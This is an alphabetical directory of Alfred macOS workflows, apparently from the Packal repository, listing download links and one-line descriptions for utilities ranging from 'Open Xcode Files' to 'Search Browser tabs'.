* [Open Xcode Files](https://github.com/packal/repository/raw/master/me.morishin.alfred-xcfind-workflow/alfred-xcfind-workflow.alfredworkflow) - Open Xcode Files
* [Open YMLP in Chrome](https://github.com/packal/repository/raw/master/ma7.me.YMLP/open_ymlp_in_chrome.alfredworkflow) - A workflow to open the mail list site 'YMLP' in Google Chrome
* [Open active tab in Pennywise](https://github.com/packal/repository/raw/master/Open.active.tab.in.Pennywise.URL.alfredworkflow/open_active_tab_in_pennywise_url.alfredworkflow) - Open active tab in Pennywise
* [Open all my files](https://github.com/packal/repository/raw/master/com.amfbyallan/all_my_files.alfredworkflow) - A means to open the "all my files" folder when any window has focus.
* [Open clipboard in browser](https://github.com/packal/repository/raw/master/com.somebits.openclipurl/open_clipboard_in_browser.alfredworkflow) - Opens a URL or else performs a Google search
* [Open in Alfred](https://github.com/packal/repository/raw/master/com.customct.OpenAlfred/openinalfred.alfredworkflow) - Open a Terminal or iTerm window in Alfred.
* [Open in Atom](https://github.com/packal/repository/raw/master/com.alfredapp.chrisnikkel.atom/open_a_file_in_atom.alfredworkflow) - Open in Atom
* [Open in Finder Tab](https://github.com/packal/repository/raw/master/com.mix1009.alfred.openinfindertab/open_in_finder_tab.alfredworkflow) - Search for folders in your home folder and open in finder tab
* [Open in Gitx](https://github.com/packal/repository/raw/master/io.loslabs.alfred.gitx/openingitx.alfredworkflow) - Open folder with Gitx
* [Open in Vim](https://github.com/packal/repository/raw/master/com.alfredapp.openinvim/open_in_vim.alfredworkflow) - Open the selected file in Finder in the terminal using vim editor.
* [Open in iTerm](https://github.com/packal/repository/raw/master/com.iansoper.openiniterm/open_in_iterm2.alfredworkflow) - Opens iTerm to the path of the selected folder
* [Open in language](https://github.com/packal/repository/raw/master/org.adrianthomas.work.openinlanguage/open_app_in_language_v2.alfredworkflow) - Quickly open any app in another language (e.g. Contacts in Danish, CoverScout in German…)
* [Open new Chrome window](https://github.com/packal/repository/raw/master/com.zji.newchromewindow/opennewwindow.alfredworkflow) - Open a new Google Chrome window, optionally with query as parameter.
* [Open with VSCode](https://github.com/packal/repository/raw/master/iamstevendao.alfred-open-with-vscode/open-with-vscode.alfredworkflow) - Use "code" to open folder with Visual Studio Code
* [OpenActions](https://github.com/packal/repository/raw/master/com.vitorgalvao.alfred.openactions/openactions.alfredworkflow) - Granular control over opening apps
* [OpenApp](https://github.com/packal/repository/raw/master/com.madsendev.openapp/open_app.alfredworkflow) - Share your user's environment and paths with your applications
* [Openhab](https://github.com/packal/repository/raw/master/net.digitalbird.alfred-openhab/openhab-1.0.0.alfredworkflow) - Control your Openhab Smart Home with Alfred
* [Order of Magnitude](https://github.com/packal/repository/raw/master/tdhopper.order-of-magnitude/order_of_magnitude.alfredworkflow) - Convert a number to natural language (rounded to any number of places)
* [Outline - Read Without Clutter](https://github.com/packal/repository/raw/master/com.antonioramadas.outline/outline.alfredworkflow) - Simple workflow that prepends `https://ouline.com/` to the link you passed as argument or is present on the clipboard and opens on the browser.
* [PERT Calculator](https://github.com/packal/repository/raw/master/net.agileadam.pert-calculator/pert_calculator_v3.alfredworkflow) - Generates accurate time estimates based on optimistic, realistic, and pessimistic expectations
* [PH API Export](https://github.com/packal/repository/raw/master/com.codable.us.phparser/ph_api_downloader.alfredworkflow) - This workflow will allow you to create hotkey commands to pull down CSV files using the API from Performance Horizon.
* [PHP Doc Search](https://github.com/packal/repository/raw/master/com.bstonehill.alfred.php-doc-search/php_doc_search.alfredworkflow) - Search and launch php.net doc pages from alfred
* [PHP Docs](https://github.com/packal/repository/raw/master/com.billrclark.phpsearch/php.docs_.alfredworkflow) - An Alfred Workflow to Quickly Search the PHP Documentation
* [PHP Master - PHP Quick Tester and PHP Manual (2 in 1)](https://github.com/packal/repository/raw/master/pro.firepanther.phpmaster_en/phpmaster_en.alfredworkflow) - Contains a PHP Quick Tester (<? md5('test')) and quick (local) PHP Documentation search
* [PHP interpreter](https://github.com/packal/repository/raw/master/me.dettogatto.phpinterpreter/php_interpreter.alfredworkflow) - Use Php interpreter directly from alfred.
* [PHPStorm project opener](https://github.com/packal/repository/raw/master/phpstorm-project-opener/open_phpstorm_project.alfredworkflow) - PHPStorm project opener
* [PWS History](https://github.com/packal/repository/raw/master/com.workflow.alfred.hrbrmstr.pwshistory/pws.alfredworkflow) - Retrieve personal weather station history from Weather Underground
* [Package Managers](https://github.com/packal/repository/raw/master/com.farrell.pkgman.alfredworkflow/package_managers.alfredworkflow) - Package Manager Repo Search
* [Packal Updater](https://github.com/packal/repository/raw/master/com.packal/packal.alfredworkflow) - Update your workflows from Packal.
* [Packal Workflow Search](https://github.com/packal/repository/raw/master/net.deanishe.alfred-packal-search/packal-search-1.3.alfredworkflow) - Search Packal.org from the comfort of Alfred
* [Pandoctor](https://github.com/packal/repository/raw/master/com.hackademic.pandoctor/pandoctor.alfredworkflow) - An Alfred GUI for Pandoc
* [Paperpile](https://github.com/packal/repository/raw/master/com.pdai.paperpile/paperpile.alfredworkflow) - Open Paperpile in default browser
* [Parallels manager VMs](https://github.com/packal/repository/raw/master/com.devoll.alfredapp.prl/parallels.alfredworkflow) - Toggle parallels virtual machines
* [Parcel](https://github.com/packal/repository/raw/master/alfredapp.ts.parcel/parcel.alfredworkflow) - Track your parcel online
* [Parcels](https://github.com/packal/repository/raw/master/alfredapp.ts.parcels/parcels.alfredworkflow) - Track your parcels/packages online via ParcelsApp (http://parcelsapp.com).
* [Parsers](https://github.com/packal/repository/raw/master/com.hackademic.parsers/parsers.alfredworkflow) - Greek and Latin parsers
* [Passphrase Generator](https://github.com/packal/repository/raw/master/com.shawn.patrick.rice.passphrase.gen/passphrase_generator.alfredworkflow) - Create random passphrases with Alfred
* [Password Generator](https://github.com/packal/repository/raw/master/com.alfred.field.generator.password/password_generator.alfredworkflow) - Generate secure password suggestions
* [Password Generator](https://github.com/packal/repository/raw/master/es.nyr.password/password_generator.alfredworkflow) - Simple password generator
* [Password Generator](https://github.com/packal/repository/raw/master/org.kollectiv.genpass/genpass.alfredworkflow) - Generate passwords from strings
* [Password Generator](https://github.com/packal/repository/raw/master/com.nicholaspufal.passwordgenerator/password_generator.alfredworkflow) - A simple password generator that doesn't rely on having an active internet connection. It's simple, fast and efficient. By default it generates a password with 15 characters - but you can overwrite this setting by providing a number when calling it.
* [PasswordPusher](https://github.com/packal/repository/raw/master/com.pglombardo.pwpush/passwordpusher.alfredworkflow) - Easily and quickly push passwords to pwpush.com
* [Paste Giphy GIF](https://github.com/packal/repository/raw/master/com.arbitrarydefinitions.giphy.invious/giphyp.alfredworkflow) - think of a GIF, get it from Giphy, and paste the animated GIF where you want it
* [Paste N Clipboards](https://github.com/packal/repository/raw/master/com.bhishanpdl.pastenclipboards/paste_n_clipboards.alfredworkflow) - Paste last N clipboard contents
* [Pause Backblaze](https://github.com/packal/repository/raw/master/com.shawn.patrick.rice.pause.backblaze/pause_backblaze.alfredworkflow) - Pause Backblaze for two hours at a time.
* [Peppermint Toolbox](https://github.com/packal/repository/raw/master/com.customct.PeppermintToolbox/pepperminttoolbox.alfredworkflow) - Collection of tools for working with the Peppermint Code Editor.
* [Percent Change](https://github.com/packal/repository/raw/master/net.bradmontgomery.percent_change/percent-change.alfredworkflow) - Easily do percentage calculations.
* [Philips Hue Controller](https://github.com/packal/repository/raw/master/hue-alfred-workflow/philips_hue_controller_v3.0.alfredworkflow) - Quickly and easily control Philips Hue lights with Alfred.
* [Phone Number Cleaner](https://github.com/packal/repository/raw/master/com.my.PhoneNumberCleaner/phonenumbercleaner.alfredworkflow) - Remove characters from phone number (spaces, dashes, parentheses) & copy number to clipboard
* [PhotoCoordinates](https://github.com/packal/repository/raw/master/com.vitorgalvao.alfred.photocoordinates/photocoordinates.alfredworkflow) - Open image GPS coordinates in a map
* [PiP My Safari](https://github.com/packal/repository/raw/master/co.kaishin.alfred.pipMySafari/pip_my_safari.alfredworkflow) - Enable PiP mode in Safari if a video is playing in the foreground.
* [Picat Workflow](https://github.com/packal/repository/raw/master/com.customct.PicatWF/picatworkflow.alfredworkflow) - A workflow to work with Picat Scripts.
* [Pikes Peak Library District Catalog Search](https://github.com/packal/repository/raw/master/com.anthonyashley.ppld/ppld.alfredworkflow) - Searches the PPLD catalog.
* [PinPlus](https://github.com/packal/repository/raw/master/com.vitorgalvao.alfred.pinplus/pinplus.alfredworkflow) - Interact with your Pinboard bookmarks
* [Pinboard](https://github.com/packal/repository/raw/master/cc.hamid.gopinboard/alfredpinboardrust.alfredworkflow) - Add & search your Pinboards bookmarks.
* [Ping TCP Port](https://github.com/packal/repository/raw/master/com.alfredapp.moul.pingport/pingport.alfredworkflow) - Ping TCP ports from Alfred
* [PingPong](https://github.com/packal/repository/raw/master/com.vitorgalvao.alfred.pingpong/pingpong.alfredworkflow) - Play a round of table tennis with Alfred
* [Piratebay](https://github.com/packal/repository/raw/master/florian.piratebay/piratebay.alfredworkflow) - Find torrents from thepiratebay.se
* [Placehold.it Images](https://github.com/packal/repository/raw/master/com.jaymccormack.placeholdit/placehold.it_sample_image.alfredworkflow) - Opens your default browser with the placeholder image loaded
* [Placeholder Images](https://github.com/packal/repository/raw/master/com.manumorante.placeholderimages/placeholder-images.alfredworkflow) - Placeholder Images for every case from lorempixel.com and unsplash.com
* [Play Song](https://github.com/packal/repository/raw/master/com.calebevans.playsong/play_song_alfred_3.alfredworkflow) - Quickly play songs, albums, genres, and more in iTunes
* [Play iTunes](https://github.com/packal/repository/raw/master/tox.play_itunes/play_itunes_v1.3.alfredworkflow) - Just type: pl [song|artist|album…]
* [Play with mpd](https://github.com/packal/repository/raw/master/com.valrus.playwithmpd/play_with_mpd.alfredworkflow) - Quickly find and play albums using mpd (Music Player Daemon).
* [PlayAddress](https://github.com/packal/repository/raw/master/com.vitorgalvao.alfred.playaddress/playaddress.alfredworkflow) - Play the URL in the frontmost browser or clipboard
* [Plex Watch](https://github.com/packal/repository/raw/master/com.alfredapp.plexwatch/plex.alfredworkflow) - Home or away, just type plex and start watching
* [Pocket for Alfred](https://github.com/packal/repository/raw/master/com.fniephaus.pocket/pocket-for-alfred.alfredworkflow) - Manage your Pocket list with Alfred
* [Pod install](https://github.com/packal/repository/raw/master/com.kevinmorton.podinstall/pod_install.alfredworkflow) - cd to frontmost finder window and run pod install.
* [Pokédex](https://github.com/packal/repository/raw/master/fmanoeli.pokedex/pokedex.alfredworkflow) - Look up Pokémon info, moves, abilities and items.
* [Pomodoro control](https://github.com/packal/repository/raw/master/net.lemonlee.pomodoro/pomodoro.alfredworkflow) - Control ugolandini's pomodoro timer
* [Postico Favorites](https://github.com/packal/repository/raw/master/com.payers.alfredPosticoFavoritesWorkflow/postico_favorites.alfredworkflow) - Opens favorites from Postico app
* [PowerPoint Remote](https://github.com/packal/repository/raw/master/com.spr.powerpoint.remote/powerpoint_remote.alfredworkflow) - Control PowerPoint with Alfred Remote
* [Powerline Toolbox](https://github.com/packal/repository/raw/master/com.customct.Powerline/powerlinetoolbox.alfredworkflow) - A workflow to edit Powerline config files and more.
* [Powerthesaurus Search](https://github.com/packal/repository/raw/master/me.clarencecastillo.alfred-powerthesaurus/powerthesaurus-1.2.alfredworkflow) - Search Powerthesaurus synonyms and antonyms from Alfred
* [Precise Age Calculator](https://github.com/packal/repository/raw/master/com.chintanbuch.alfred.agecalculator/age_calculator.alfredworkflow) - Check age like # of years, months, days & time... from the given birth date
* [Pritunl Manager](https://github.com/packal/repository/raw/master/cghdev.alfred-pritunl/pritunl-manager-1.3.alfredworkflow) - Manage your Pritunl VPN connections from Alfred.
* [Private Browsing](https://github.com/packal/repository/raw/master/com.limamedeiros.alfred.private/private_browsing.alfredworkflow) - Opens Safari's current tab in Private Browsing
* [Private Internet Access Workflow](https://github.com/packal/repository/raw/master/io.konagaya/pia_interface.alfredworkflow) - Private Internet Access Interface
* [ProcessControl](https://github.com/packal/repository/raw/master/com.vitorgalvao.alfred.processcontrol/processcontrol.alfredworkflow) - Deal with misbehaving processes
* [Product Hunt](https://github.com/packal/repository/raw/master/com.lorisguignard.producthunt/product_hunt.alfredworkflow) - List Product Hunt today's hunts
* [ProductHunt](https://github.com/packal/repository/raw/master/com.beefdisciple.ph-workflow/producthunt-for-alfred.alfredworkflow) - Read ProductHunt in Alfred
* [Progress Bar](https://github.com/packal/repository/raw/master/org.jeef.progress/progress_bar.alfredworkflow) - Sample progress bar workflow
* [Project Manager](https://github.com/packal/repository/raw/master/com.bjrnt.project-manager/alfred-project-manager-1.2.alfredworkflow) - Allows you to quickly open projects from Alfred
* [Public and Private IPs](https://github.com/packal/repository/raw/master/com.ckimmel.pubprivips/pub_and_private_ips.alfredworkflow) - Another Public and Private IPs implemented in Ruby.
* [Publish Ulysses Notes](https://github.com/packal/repository/raw/master/com.thegreatape.publish.ulysses.notes/publish_ulysses_notes.alfredworkflow) - One-command publishing of Ulysses notes! One-command publishing of Ulysses notes! One command publishing of Ulysses notes
* [Python Interpreter](https://github.com/packal/repository/raw/master/com.altre.python_interpreter/python_interpreter.alfredworkflow) - Use python interpreter directly from alfred.
* [QRCode Generator](https://github.com/packal/repository/raw/master/zhxl.me.workflows.qrcode/qrcodegenerator.alfredworkflow) - Utilizing Google's API to generate an image of QRCode from what you typed or selected.
* [Quick Print](https://github.com/packal/repository/raw/master/com.edwin.print/paste_print.alfredworkflow) - quickly print (on your default printer) a file or some text
* [Quick Ref](https://github.com/packal/repository/raw/master/com.michaelwaterfall.quick-ref/quick-ref.alfredworkflow) - Quickly reference files (e.g. cheat sheets, PDFs, web links, etc) using quick look.
* [Quick Stocks](https://github.com/packal/repository/raw/master/com.paperelectron.alfred.quickstocks/quick_stocks.alfredworkflow) - Add some stock symbols for Alfred to check for you.
* [QuickTime Recording](https://github.com/packal/repository/raw/master/com.derekatkinson.quicktimeaudiorecording/quicktimerecording.alfredworkflow) - Open QuickTime and start recording audio, screen, or movie.
* [Quip](https://github.com/packal/repository/raw/master/com.orf.quip/quip_search.alfredworkflow) - Search Quip documents from within Alfred
* [Quit/Focus Mgr](https://github.com/packal/repository/raw/master/con.quitfocus.v1/quitfocus.alfredworkflow) - Quits Applications or sets focus to the selected window.
* [Quote](https://github.com/packal/repository/raw/master/com.apple.alfred2.workflow.quote/quote.alfredworkflow) - Quote text from selection and copy to the Clipboard
* [RGB to Hex](https://github.com/packal/repository/raw/master/com.sonicwu.rgb2hex/rgb_to_hex.alfredworkflow) - Convert RGB values of a color to a hexadecimal string
* [RNJ](https://github.com/packal/repository/raw/master/com.treodeo.rnj/rnj.alfredworkflow) - Random Number Jesus will give you a random number from 5 to 5
* [RSS](https://github.com/packal/repository/raw/master/florian.rss/rss.alfredworkflow) - Quick and simple view of RSS feeds
* [RabbitMQ](https://github.com/packal/repository/raw/master/com.tedwise.rabbitmq/rabbitmq.alfredworkflow) - Displays status of local RabbitMQ and it's queues. Can start and stop local RabbitMQ instance.
* [Radar](https://github.com/packal/repository/raw/master/com.AmosManneschmidt.radar/radar.alfredworkflow) - Show animated doppler radar for local area using quicklook. (US only for now)
* [Radio Toggle](https://github.com/packal/repository/raw/master/be.thomasnagels.alfred.radio/radio_toggle.alfredworkflow) - Toggle for the Radio app
* [Ramda Docs](https://github.com/packal/repository/raw/master/com.raine.ramdadocs/ramda_docs.alfredworkflow) - Search Ramda documentation
* [Random Choice](https://github.com/packal/repository/raw/master/com.clintonstrong.RandomChoice/random_choice.alfredworkflow) - Feeling indecisive? Let Alfred decide.
* [Random File Picker](https://github.com/packal/repository/raw/master/cat.claudi.alfredworkflow.random_file_picker/random_file_picker.alfredworkflow) - Copy a random subset of files to another folder
* [Random MAC](https://github.com/packal/repository/raw/master/com.corylogan.randommac/random_mac.alfredworkflow) - Generates and applies a new MAC address to en0.
* [Random Opener](https://github.com/packal/repository/raw/master/jw.randomopener/random_opener.alfredworkflow) - Open a random file from a given directory without repeating
* [Random Pin Generator](https://github.com/packal/repository/raw/master/com.fpira.alfred.wf.randompingenerator/random_pin_generator.alfredworkflow) - Easy random pin generation
* [Random Pocket](https://github.com/packal/repository/raw/master/com.kadoppe.alfred-random-pocket-workflow/alfred-random-pocket-workflow.alfredworkflow) - Search and randomly select URLs in Pocket
* [Random String Generator](https://github.com/packal/repository/raw/master/com.fpira.alfred.wf.randomstringgenerator/random_string_generator.alfredworkflow) - Easy random string generation
* [Rapid Browser Tabs](https://github.com/packal/repository/raw/master/com.stuartryan.alfred.rapidbrowsertabs/rapid-browser-tabs.alfredworkflow) - A workflow for Alfred based on the Search Tabs on Safari and Chrome workflow developed by Clinton Strong.
* [Rates](https://github.com/packal/repository/raw/master/com.razor.rates/rates.alfredworkflow) - Simple exchange rates for alfred
* [Ratio Calculator](https://github.com/packal/repository/raw/master/matthewmcvickar.ratio-calculator/ratio_calculator.alfredworkflow) - Calculates the missing number in a ratio equation.
* [Rdio](https://github.com/packal/repository/raw/master/com.cereslogic.alfred.rdio/rdio.alfredworkflow) - Controls the Rdio desktop player from within Alfred (user contributed, not supported by Rdio).
* [React Launcher](https://github.com/packal/repository/raw/master/ca.winkerVSbecks.reactLauncher/react-launcher.alfredworkflow) - Alfred 3 workflow to access the React & React Native Documentation and community links.
* [React Native](https://github.com/packal/repository/raw/master/com.iamemmanouil.rn/react-native.alfredworkflow) - Access the React Native Documentation from Alfred
* [Readability for Alfred](https://github.com/packal/repository/raw/master/com.fniephaus.readability/readability-for-alfred.alfredworkflow) - Manage your Readability list with Alfred
* [Readme](https://github.com/packal/repository/raw/master/com.badwing.readme/readme.alfredworkflow) - Load the README.md for any NPM module in the default application
* [Recent Documents](https://github.com/packal/repository/raw/master/com.tedwise.recentdocs/recent_documents.alfredworkflow) - List recently accessed files taken from both OS/X recent docs list and Alfred.
* [Recent files in Folder](https://github.com/packal/repository/raw/master/com.apple.alfred.workflow.recentfolder/recent_files_in_folder.alfredworkflow) - Shows recent files in a folder and opens the file, reveal in Finder or share via Dropox (requires WF http://www.packal.org/workflow/drop)
* [RecentDownloads](https://github.com/packal/repository/raw/master/com.vitorgalvao.alfred.recentdownloads/recentdownloads.alfredworkflow) - List and act on the contents of a directory
* [RecommendationNation](https://github.com/packal/repository/raw/master/com.vitorgalvao.alfred.recommendationnation/recommendationnation.alfredworkflow) - Keep a contextual list of recommendations
* [Reconnect your internet connection - Fritz!Box only](https://github.com/packal/repository/raw/master/de.jxsl13.reconnectFritzBox/reconnect_your_interent_connection.alfredworkflow) - You can simply reconnect your Fritz!Box internet connection and change your IP if you have got a dynamic one. You will be notified about your old and new ip.
* [Record Sound](https://github.com/packal/repository/raw/master/audio_recording_mg/audio_recording.alfredworkflow) - A simple workflow that immediately starts a Quicktime sound recording.
* [Reddit](https://github.com/packal/repository/raw/master/net.deanishe.alfred-reddit/reddit-1.3.alfredworkflow) - Browse Reddit from Alfred
* [Redis](https://github.com/packal/repository/raw/master/manage.redis.server/manage-redis-server.alfredworkflow) - Manage instance of Redis with Alfred 2
* [Redmine](https://github.com/packal/repository/raw/master/com.jason0x43.alfred-redmine/alfred-redmine.alfredworkflow) - Provides read-only access to a Redmine server
* [Refresh Wifi](https://github.com/packal/repository/raw/master/com.watts.rewifi/refresh_wifi.alfredworkflow) - Restart Wifi Module - Fix wifi connection issue on Mac
* [RegEx Renamer](https://github.com/packal/repository/raw/master/com.sztoltz.regexrenamer/regexrenamer2.alfredworkflow) - Batch rename files or folders using Regular Expression
* [Regex](https://github.com/packal/repository/raw/master/com.verykiwi.regex/regex.alfredworkflow) - Run and save regular expressions!
* [Relative Dates](https://github.com/packal/repository/raw/master/net.deanishe.alfred-relative-dates/relative_dates.alfredworkflow) - Generate relative dates based on a simple input format
* [Remind Me](https://github.com/packal/repository/raw/master/jw.reminders/remind_me.alfredworkflow) - Add reminders to the default Reminders list
* [Reminders](https://github.com/packal/repository/raw/master/com.surrealroad.alfred-reminder/reminders.alfredworkflow) - This creates a new reminder in Reminders.app
* [Remote Desktop](https://github.com/packal/repository/raw/master/com.surrealroad.alfred-remotedesktop/remote_desktop.alfredworkflow) - Connects to computer via Apple Remote Desktop
* [Remote Key](https://github.com/packal/repository/raw/master/com.24says.workflowtitle/remote_key.alfredworkflow) - Unlock Mac with Alfred Remote
* [Remote volume control](https://github.com/packal/repository/raw/master/com.alexw.me.volume/remote_volume_control.alfredworkflow) - Control volume on your mac from alfred remote
* [Remove Download Warning](https://github.com/packal/repository/raw/master/com.bclev.removedownloadwarning/remove_download_warning_0.alfredworkflow) - Removes the Gatekeeper warning on downloaded Applications and PreferencePanes
* [RemoveQuarantine](https://github.com/packal/repository/raw/master/com.vitorgalvao.alfred.removequarantine/removequarantine.alfredworkflow) - Remove the quarantine attribute from your apps
* [RenameAction](https://github.com/packal/repository/raw/master/com.vitorgalvao.alfred.renameaction/renameaction.alfredworkflow) - Renames a directory or file (preserving the extension)
* [Resize Image](https://github.com/packal/repository/raw/master/com.apple.alfred2.workflow.resizeimage/resize_image.alfredworkflow) - Resize an image, selected in Finder, to a target width
* [Resolve URL](https://github.com/packal/repository/raw/master/net.deanishe.alfred-resolve-url/resolve_url-1.4.0.alfredworkflow) - Follows any HTTP redirects and returns the canonical URL. Also displays information about the primary host (hostname, IP address(es), aliases).
* [RespondQuickly](https://github.com/packal/repository/raw/master/com.vitorgalvao.alfred.respondquickly/respondquickly.alfredworkflow) - Convert selected text to a QR code
* [Restart App](https://github.com/packal/repository/raw/master/com.renegaed.restart-app/restart_app.alfredworkflow) - Restart a currently running App
* [Restart App](https://github.com/packal/repository/raw/master/com.sulaiman.restartapp/restart_app.alfredworkflow) - A simple workflow designed for apps to be relaunched/restarted or quit.
* [Restart frontmost application](https://github.com/packal/repository/raw/master/com.sebas89.restartapp/restart_frontmost_application.alfredworkflow) - Type 'rs' and then press enter to close and restart your frontmost application.
* [Restore Moom snapshot](https://github.com/packal/repository/raw/master/hu.fns.restore_moom_snapshot/restore_moom_snapshot.alfredworkflow) - This workflow let you to restore a previously saved Moom snapshot.
* [Reverse Dictionary](https://github.com/packal/repository/raw/master/net.experiencehq.reverse-dictionary/alfred-reverse-dictionary.alfredworkflow) - Queries the OneLook reverse dictionary, and displays the results.
* [Right/Secondary Click hotkey](https://github.com/packal/repository/raw/master/com.watts.rightclick/rightclick.alfredworkflow) - Hotkey for Secondary click for keyboard junkies
* [RightClick](https://github.com/packal/repository/raw/master/com.vitorgalvao.alfred.rightclick/rightclick.alfredworkflow) - Do a right-click on Finder files, with the keyboard
* [Roll the Dice](https://github.com/packal/repository/raw/master/com.codeserious.RollTheDice/roll_the_dice.alfredworkflow) - Use keyword 'roll' to roll some dice!
* [Rolls](https://github.com/packal/repository/raw/master/com.kyleclemens.alfred.rolls/rolls.alfredworkflow) - Rolls dice.
* [Roman Numerals](https://github.com/packal/repository/raw/master/tylereich.roman-numerals/roman_numerals.alfredworkflow) - Convert Roman numerals to decimal numbers (and vice versa)
* [Rotten Search](https://github.com/packal/repository/raw/master/net.yakiyama.rotten/rotten.alfredworkflow) - Search movie from RottenTomatoes.com
* [Route to contact or location](https://github.com/packal/repository/raw/master/strack.route/route_to_contact_or_location.alfredworkflow) - This workflow calculates the route from the current location to a contact from your address book, or a specified location with Google Maps
* [Router Web Interface](https://github.com/packal/repository/raw/master/com.em0vskangoura.alfred-router-interface/router_web_interface.alfredworkflow) - Finds your default gateway's IP and opens it in your default browser.
* [Rsync Folders](https://github.com/packal/repository/raw/master/com.apple.alfred.workflow.rsync/rsync_folders.alfredworkflow) - Keep a set of folders in sync with their target folders via rsync
* [Ru-En Translator](https://github.com/packal/repository/raw/master/ru.asubbotin.ru-en-translator/ru-en_translator.alfredworkflow) - Simple workflow for quick translations en-ru and vise versa using google translate
* [Rubberbanding](https://github.com/packal/repository/raw/master/net.adampage.alfred.rubberbanding/rubberbanding.alfredworkflow) - Toggle Mac OS X's native rubber band (i.e., elastic) scrolling on or off
* [Ruby Interpreter](https://github.com/packal/repository/raw/master/me.dettogatto.rubyinterpreter/ruby_interpreter_v1.1.alfredworkflow) - Use Ruby interpreter directly from alfred.
* [Rule of Three](https://github.com/packal/repository/raw/master/com.manumorante.ruleofthree/rule-of-three.alfredworkflow) - Show directly the result of a rule of three.
* [RunCommand](https://github.com/packal/repository/raw/master/com.vitorgalvao.alfred.runcommand/runcommand.alfredworkflow) - Run shell commands without opening a terminal
* [Running](https://github.com/packal/repository/raw/master/com.tedwise.running/running.alfredworkflow) - Lists the currently running applications.
* [Ruter workflow for Alfred](https://github.com/packal/repository/raw/master/com.kimsyversen.ruter/ruter.alfredworkflow) - Plan your trips directly from Alfred
* [SEND](https://github.com/packal/repository/raw/master/com.hackademic.send/send.alfredworkflow) - Send documents to the cloud
* [SEO](https://github.com/packal/repository/raw/master/com.spr.seo/seo.alfredworkflow) - Check URLs for SEO Stats with multiple services
* [SONOS Controller](https://github.com/packal/repository/raw/master/hu.fns.soco_alfred/sonos_controller.alfredworkflow) - Basic controls for SONOS speakers
* [SOStackOverFlow](https://github.com/packal/repository/raw/master/com.jackywang135.sostackoverflow/sos.alfredworkflow) - Google advance search on site: stackoverflow.com
* [SSH Rocket](https://github.com/packal/repository/raw/master/com.evgeny.golubev.alfred.sshlauncher/ssh_rocket.alfredworkflow) - Launch SSH connection from bookmarks
* [SShot](https://github.com/packal/repository/raw/master/com.pawelgrzybek.sshot/sshot.alfredworkflow) - Change a screenshot extension
* [Safari History Search](https://github.com/packal/repository/raw/master/com.rx2130.alfred.hsi/search-safari-history-1.0.alfredworkflow) - Search Safari Browse History from Alfred
* [Safari History Search](https://github.com/packal/repository/raw/master/com.akaralar.safariHistorySearch/safari_history_search.alfredworkflow) - Alfred workflow to search Safari history
* [Safari Reading List](https://github.com/packal/repository/raw/master/com.targumanu.readinglist/reading_list.alfredworkflow) - Search, open and add Safari reading list items
* [Safari Tech Preview -> WebKit](https://github.com/packal/repository/raw/master/com.joeworkmanm.alfred.webkit/safari_technology_preview.alfredworkflow) - Simple workflow for interacting with Safari Technology Preview from Alfred for MacOS.
* [Safirechrome](https://github.com/packal/repository/raw/master/com.apple.alfred2.workflow.safirechrome/safirechrome.alfredworkflow) - Safirechrome opens an URL from frontmost Browser or a new URL in Safari, Chrome, Opera or Firefox
* [SandwichTimer](https://github.com/packal/repository/raw/master/com.vitorgalvao.alfred.sandwichtimer/sandwichtimer.alfredworkflow) - Run pomodoros and other timers
* [Save to wallabag.it](https://github.com/packal/repository/raw/master/it.wallabag.save/save_to_wallabag.alfredworkflow) - Save a new URL into your wallabag.it account
* [Say](https://github.com/packal/repository/raw/master/com.say.workflow/say.alfredworkflow) - Enter text for the system to speak
* [Say a word](https://github.com/packal/repository/raw/master/jinkunw.say/say.alfredworkflow) - Pronounce a word with Audio Pronunciation Service from Google
* [Say command](https://github.com/packal/repository/raw/master/com.lisongcheng.say/say_command.alfredworkflow) - Allows terminal to read out something
* [Say it with GIFs](https://github.com/packal/repository/raw/master/net.deanishe.alfred.gifs/say_it_with_gifs-1.0.alfredworkflow) - Browse your horde of GIFs and get their URLs
* [Sci-Hub](https://github.com/packal/repository/raw/master/cc.gndclouds.sci-hub/sci-hub.alfredworkflow) - A workflow for searching Sci-Hub for Alfred
* [Scratchpad Workflow](https://github.com/packal/repository/raw/master/com.customct.ScratchPad/scratchpad.alfredworkflow) - A workflow to use the Alfred Prompt as a scratchpad.
* [Scrcpy Android](https://github.com/packal/repository/raw/master/com.afzaln.scrcpy/alfred-scrcpy.alfredworkflow) - Alfred workflow for choosing an Android device to start scrcpy with
* [Screen Shot](https://github.com/packal/repository/raw/master/com.24say.workflowtitle/screen_shot.alfredworkflow) - Take Screen Shot with Preview
* [Screencapture Enhancer](https://github.com/packal/repository/raw/master/com.tumblr.ramiroaraujo.alfred-screencapture-enhancer-workflow/alfred-screencapture-enhancer.alfredworkflow) - Workflow to enhance OS X screencapture capabilities, particularly with the option to capture _last captured_ area and naming options.
* [Screensaver Lock Screen](https://github.com/packal/repository/raw/master/org.djassi.lockscreen/lock_screen.alfredworkflow) - Let's you assign a hotkey to lock your Mac OS X to a screensaver screen.
* [Screenshot Settings](https://github.com/packal/repository/raw/master/com.cmchap.screenshotsettings/screenshot_settings.alfredworkflow) - Change OSX screenshot format, save location, and window shadows
* [Screenshots](https://github.com/packal/repository/raw/master/com.sztoltz.screenshots/screenshots.alfredworkflow) - Capture, save to Dropbox, get Link and manage files and past links
* [Screenshots Imgur uploader](https://github.com/packal/repository/raw/master/com.gadfly.alfred-screenshots-imgur-uploader/screenshots_imgur_uploader.alfredworkflow) - Take and upload screenshots to imgur.com
* [Script Debugger - Insert Clippings](https://github.com/packal/repository/raw/master/com.kevinfunderburg.insertSDBclippings/script_debugger_-_insert_clippings.alfredworkflow) - Use alfred to search and insert system and user defined Script Debugger clippings
* [Search Apple Notes](https://github.com/packal/repository/raw/master/in.sball.searchnotes/search_notes.app_.alfredworkflow) - Use Alfred to find and open your notes in iCloud/Apple Notes.
* [Search Baidu](https://github.com/packal/repository/raw/master/com.rjiang.searchbaidu/search_baidu.alfredworkflow) - Searches Baidu from Alfred.
* [Search Bear](https://github.com/packal/repository/raw/master/io.github.ilstar.search_bear/search_bear.alfredworkflow) - Search Bear notes by keywords and/or tags
* [Search Bear](https://github.com/packal/repository/raw/master/com.searchbear.lee/search_bear.alfredworkflow) - Search for specific notes or tags in the Bear.app
* [Search Bible Gateway](https://github.com/packal/repository/raw/master/com.anthonyashley.biblegateway/searchbiblegateway.alfredworkflow) - Searches Bible Gateway in multiple translations, lists books and chapters, and gets the verse of the day
* [Search Browser tabs](https://github.com/packal/repository/raw/master/com.lucasarts.SearchTabs/searchtabs.alfredworkflow) - Search tabs in Safari and Chrome (also supports WebKit, Chromium, Chrome Canary and Vivaldi)
